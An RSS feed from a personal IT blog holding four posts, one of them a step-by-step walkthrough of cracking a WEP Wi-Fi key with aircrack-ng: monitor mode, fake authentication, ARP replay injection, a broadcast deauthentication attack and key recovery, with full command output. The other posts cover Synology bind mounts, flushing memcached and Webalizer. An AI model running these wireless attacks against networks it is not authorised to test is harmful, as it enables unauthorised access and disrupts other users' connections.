<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My IT-blog &#187; servers</title>
	<atom:link href="http://dev.eek.be/category/servers/feed/" rel="self" type="application/rss+xml" />
	<link>http://dev.eek.be</link>
	<description>IT knowledge exchange</description>
	<lastBuildDate>Fri, 04 Jun 2010 05:34:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hacking WEP encryption on Ubuntu</title>
		<link>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/</link>
		<comments>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 19:34:16 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=284</guid>
		<description><![CDATA[The information below is not intended to harm other people. Cracking other peoples network is considered illegal in most countries!!
Last day, my sister called me up because she couldn&#8217;t connect to her wireless network any more.
She was playing with her network connections and broke everything. She didn&#8217;t know the key for her wireless access point [...]]]></description>
			<content:encoded><![CDATA[<p><b><span style="color: #ff0000;">The information below is not intended to harm other people. Cracking other peoples network is considered illegal in most countries!!</span></b><br />
Last day, my sister called me up because she couldn&#8217;t connect to her wireless network any more.<br />
She was playing with her network connections and broke everything. She didn&#8217;t know the key for her wireless access point and the access point couldn&#8217;t be reset because it&#8217;s on the attic and we couldn&#8217;t reach it.</p>
<p>So I thought I give it a try to hack the access point.<br />
Here are the steps I followed:<br />
First I took a look if my laptop could see the wireless network.<br />
The network I want to crack is wifi9/7</p>
<p><a href="http://dev.eek.be/wp-content/uploads/2010/02/list-networks.png"><img class="aligncenter size-full wp-image-285" title="list networks" src="http://dev.eek.be/wp-content/uploads/2010/02/list-networks.png" alt="" width="446" height="326" /></a></p>
<p>Let&#8217;s start cracking the key with the installation of aircrack-ng</p>
<pre class="prettyprint">sudo apt-get install aircrack-ng</pre>
<p>List the adapters</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]</pre>
<p>I have only one wireless card in my laptop (wlan0) so this is obviously the card I have to use.<br />
Next, I have to put my wireless card in monitoring mode</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
899	NetworkManager
906	avahi-daemon
977	avahi-daemon
1113	wpa_supplicant
2744	dhclient
Process with PID 2744 (dhclient) is running on interface wlan0

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
				(monitor mode enabled on mon0)</pre>
<p>mon0 is a new interface which I will use for monitoring. If I run the previous command again, mon0 should be listed as interface.</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
mon0		Intel 3945ABG	iwl3945 - [phy0]</pre>
<p>Next, launch airodump on the new interface to hop all the channels and show the wireless networks that can be found:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng mon0            

 CH  2 ][ Elapsed: 24 s ][ 2010-02-08 19:43                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                             

 00:21:91:F2:06:D9   -1        0        0    0 123  -1
 00:1D:7E:43:52:33  -48       61       52    2   1  54e  WPA2 CCMP   PSK  cisco
 00:1B:11:6E:78:6D  -79       72        0    0   9  54   WEP  WEP         wifi6-2
 00:24:01:65:97:69  -79       54        0    0   6  54   WEP  WEP         wifi9/7
 00:1D:19:23:BC:57  -84       19       14    0   9  54 . WPA2 CCMP   PSK  GCS
 00:23:EE:CB:5A:61  -87       10        1    0  11  54e  WPA  TKIP   PSK  telenet-039FF
 00:21:91:F3:7D:B6  -88        4        0    0   9  54   WEP  WEP         WIFI 18                                                                           

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                   

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -83    0 - 1      0       39  baranilew,bbox2-b0c7,default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0   54e-54e     0       49  cisco</pre>
<p>The network I like to hack (wifi9/7) is listed. I can see that it is secured by WEP. If the security is  WPA, it's a lot harder to crack.</p>
<p>Next, run airodump-ng again, but now, let it look at the channel which is used by the network we will crack. In this case 6</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 mon0

 CH  6 ][ Elapsed: 16 s ][ 2010-02-08 19:51 ][ fixed channel mon0: 1                       

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:21:91:F2:06:D9   -1   0        0        0    0 133  -1
 00:1D:7E:43:52:33  -34   1       10        1    0   1  54e  WPA2 CCMP   PSK  cisco
 00:24:01:65:97:69  -75  96      117        0    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -85    0 - 5      0        7  default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0    1e- 1      0       10  cisco</pre>
<p>Just let the previous screen run and open a new consolewindow to run a fake attempt for authentication.<br />
The value after -a is the MAC-address from the network we want to crack, the -e value is the name of the network</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng --fakeauth 0 -a 00:24:01:65:97:69 -e wifi9/7 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
19:56:24  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6

19:56:24  Sending Authentication Request (Open System) [ACK]
19:56:24  Authentication successful
19:56:24  Sending Association Request [ACK]
19:56:24  Association successful <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  (AID: 1)</pre>
<p>The association is successfull. This means the target host doesn&#8217;t use MAC filtering. This is good for me, so I don&#8217;t have to spoof my MAC address.<br />
Now everything is ready to crack the key.<br />
first, if in your first console the airdump command is still running, close it and start it again with an option to save the output to a file:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 -w /home/wim/crackwepwifi -i mon0

 CH  6 ][ Elapsed: 0 s ][ 2010-02-08 20:01                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:24:01:65:97:69  -72 100       29        4    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes</pre>
<p>To actually crack the key, I need a lot of data. In this case, I've only got 4 packets where I need around 100000 so I have to speed things up a little bit by launching aireplay in injection mode in a new console window:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng -3 -b 00:24:01:65:97:69 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
20:07:31  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
Saving ARP requests in replay_arp-0208-200731.cap
You should also start airodump-ng to capture replies.
Read 63 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)</pre>
<p>Now keep the aireplay-ng and airodump-ng running and run the deauth attack.</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng --deauth 0 -a 00:24:01:65:97:69 mon0
20:10:02  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c ).
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]</pre>
<p>Let everything run. After a few minutes, you should receive ARP requests and the data will start increasing very feast. I&#8217;ve noticed, it goes a little bit faster when I tried to connect in Ubuntu with the target network.<br />
When there are enough packets captured, it&#8217;s time to crack them.<br />
I&#8217;ve opened a new console and used following command where crackwepwifi-02.ivs is the file we entered previously:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aircrack-ng -0 -b 00:24:01:65:97:69 /home/wim/crackwepwifi-02.ivs
Opening /home/wim/crackwepwifi-02.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 88000 ivs.
                     KEY FOUND! [ 30:36:34:36:39 ] (ASCII: 06469 )
	Decrypted correctly: 100%</pre>
<p>Got it! The key for the network is 06469.<br />
I could connect to it without a problem and made my sister happy again <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Change folders for Synology media server</title>
		<link>http://dev.eek.be/2010/01/change-folders-for-synology-media-server/</link>
		<comments>http://dev.eek.be/2010/01/change-folders-for-synology-media-server/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 22:07:17 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[mount]]></category>
		<category><![CDATA[nas]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[Synology]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=264</guid>
		<description><![CDATA[When you enable the Synology Media Server on your NAS, there are 3 directories added to your file-system (video, music and photo) which will be used for the DLNA/UPnP media server to play the corresponding files.
I wasn&#8217;t very happy with these 3 directories because I wanted to categorize my media in other directories. In this [...]]]></description>
			<content:encoded><![CDATA[<p>When you enable the Synology Media Server on your NAS, there are 3 directories added to your file-system (video, music and photo) which will be used for the DLNA/UPnP media server to play the corresponding files.</p>
<p>I wasn&#8217;t very happy with these 3 directories because I wanted to categorize my media in other directories. In this post, I will post how I&#8217;ve resolved this problem.</p>
<p>First, enable SSH access to the NAS and log in.<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/01/syn1.png"><img src="http://dev.eek.be/wp-content/uploads/2010/01/syn1.png" alt="" title="syn1" width="640" height="400" class="alignleft size-full wp-image-265" /></a></p>
<p>My first idea to tackle this issue was to use of symbolic links</p>
<pre class="prettyprint" lang-java>
ln -s /volume1/MyMusicDirectory /volume1/music
</pre>
<p>I&#8217;ve re-indexed my files on the NAS and everything worked instantly. All the files in MyMusicDirectory where indexed so I was very happy&#8230;but not for long.<br />
I noticed quickly that the new files I&#8217;ve placed in MyMusicDirectory weren&#8217;t auto-indexed by the NAS. I always had to re-index through the webinterface which can take hours when there is a lot of data to index so that was a big issue.<br />
I figured out what the problem was: symbolic links will be considered as files and not as directories so the autoindexer wouldn&#8217;t follow the symbolic link.</p>
<p>Up to idea 2: mount &#8211;bind<br />
I used mount &#8211;bind to create an unbreakable link which normally would be used as a directory by the NAS so the contents could be auto-indexed.</p>
<pre class="prettyprint" lang-java>
mount --bind /volume1/MyMusicDirectory /volume1/music
</pre>
<p>It worked!! YES!!<br />
Till I&#8217;ve rebooted the NAS. The mount was gone and I had to manually add it again. Not something I want to do at every reboot.</p>
<p>Up to idea 3: changing fstab<br />
The file /etc/fstab will be loaded at startup to mount the filesystem so I&#8217;ve added the following rule in the file:</p>
<pre class="prettyprint" lang-java>
/volume1/MyMusicDirectory /volume1/music bind defaults,bind 0 0
</pre>
<p>I saved the file and rebooted and it didn&#8217;t worked. The fstab file will be overridden at startup with Synology&#8217;s default fstab-file so the rule I&#8217;ve entered before was deleted.</p>
<p>And then idea 3: <b>The solution</b><br />
Create a file rc.local</p>
<pre class="prettyprint" lang-java>
touch /etc/rc.local
</pre>
<p>open the file and add the following line:</p>
<pre class="prettyprint" lang-java>
mount --bind /volume1/MyMusicDirectory /volume1/music
</pre>
<p>Now restart the NAS and you&#8217;re done.<br />
The files in MyMusicDirectory will be auto-indexed by the media server.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/01/change-folders-for-synology-media-server/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>How to flush the contents of Memcached</title>
		<link>http://dev.eek.be/2009/09/memcache/</link>
		<comments>http://dev.eek.be/2009/09/memcache/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 12:48:58 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[telnet]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=45</guid>
		<description><![CDATA[I often see people using telnet to flush the entire contents of their Memcached instance.
They use the following commands:

$ telnet localhost 11211
Trying 127.0.0.1…
Connected to localhost.
Escape character is ‘^]’.
flush_all
OK
quit
Connection to localhost closed by foreign host.
$

You have to log in into the appropriate memcached host and port with telnet. After logged in, you have to use the [...]]]></description>
			<content:encoded><![CDATA[<p>I often see people using telnet to flush the entire contents of their Memcached instance.<br />
They use the following commands:</p>
<pre class="prettyprint">
$ telnet localhost 11211
Trying 127.0.0.1…
Connected to localhost.
Escape character is ‘^]’.
flush_all
OK
quit
Connection to localhost closed by foreign host.
$
</pre>
<p>You have to log in into the appropriate memcached host and port with telnet. After logged in, you have to use the flush_all command. If this command responses with OK, everything went fine and you can log out of your memcached server using the command quit.</p>
<p>The above command works fine but is a pain in the ass if you have to flush a lot and wants to use your console for other things.<br />
If this is the case, you can run a flush_all in 1 command </p>
<pre class="prettyprint">
echo 'flush_all' | nc localhost 11211
</pre>
<p>By default, nc (or netcat) creates a TCP socket either in listening mode (server socket) or a socket that is used in order to connect to a server (client mode). Actually, netcat does not care whether the socket is meant to be a server or a client. All it does is to take the data from stdin and transfer it to the other end across the network.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/09/memcache/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Use multiple instances of Webalizer on one server</title>
		<link>http://dev.eek.be/2009/09/use-multiple-instances-of-webalizer-on-one-server/</link>
		<comments>http://dev.eek.be/2009/09/use-multiple-instances-of-webalizer-on-one-server/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 21:36:23 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[server management]]></category>
		<category><![CDATA[webalizer]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=34</guid>
		<description><![CDATA[
In most of the cases, there is more than just one website on a server.
Though, it is very important that you can measure the stats of all the websites separately.
I&#8217;ll tell you in a few lines how you can achieve this with webalizer.

This tutorial is tested with Webalizer on Ubunty but I presume it will [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-36" title="webalizer" src="http://dev.eek.be/wp-content/uploads/2009/09/webalizer.png" alt="webalizer" width="521" height="267" /></p>
<p>In most of the cases, there is more than just one website on a server.<br />
Though, it is very important that you can measure the stats of all the websites separately.<br />
I&#8217;ll tell you in a few lines how you can achieve this with <a href="http://www.mrunix.net/webalizer/" target="_blank">webalizer</a>.</p>
<p><span id="more-34"></span></p>
<p>This tutorial is tested with Webalizer on Ubunty but I presume it will work almost the same way in other distros.</p>
<p>First of all you have to install webalizer on your system.</p>
<pre class="prettyprint">
sudo apt-get install webalizer
</pre>
<p>After installation of webalizer, the configurationfiles are per default stored in /etc/webalizer.<br />
Move to that directory and make a copy of the config-file.</p>
<pre class="prettyprint">
sudo cp webalizer.conf MySiteName.conf
</pre>
<p>When the copy is created you have to open it in your favorite editor (I use vim)</p>
<pre class="prettyprint">
sudo vim MySiteName.conf
</pre>
<p>Scroll down till you find the LogFileattribute and change it to the accesslogfile of MySiteName.<br />
You also have to tell the script where the outputfiles will be stored. This is normally a place which is accessible by the browser.</p>
<pre class="prettyprint">
LogFile /www/mysite/logs/access.log
OutputDir /www/mysite/public_html/webalizer
</pre>
<p>These are the only 2 parameters which you have to change. You can scroll through the rest of the file and make changes towards your preferences.</p>
<p>All is done now so you can run webalizer with the new configuration file</p>
<pre class="prettyprint">
webalizer -c /etc/webalizer/MySiteName.conf
</pre>
<p>Webalizer will run and should be accessible through your webbrowser.<br />
Obviously, it would kinda suck if you have to run the webalizerscript every time you want to see the stats so we gonna make a cron which will run the script every hour</p>
<pre class="prettyprint">
crontab -e
</pre>
<p>And fill in:</p>
<pre class="prettyprint">
0 * * * * webalizer -c /etc/webalizer/MySiteName.conf
</pre>
<p>Voila, all done <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/09/use-multiple-instances-of-webalizer-on-one-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
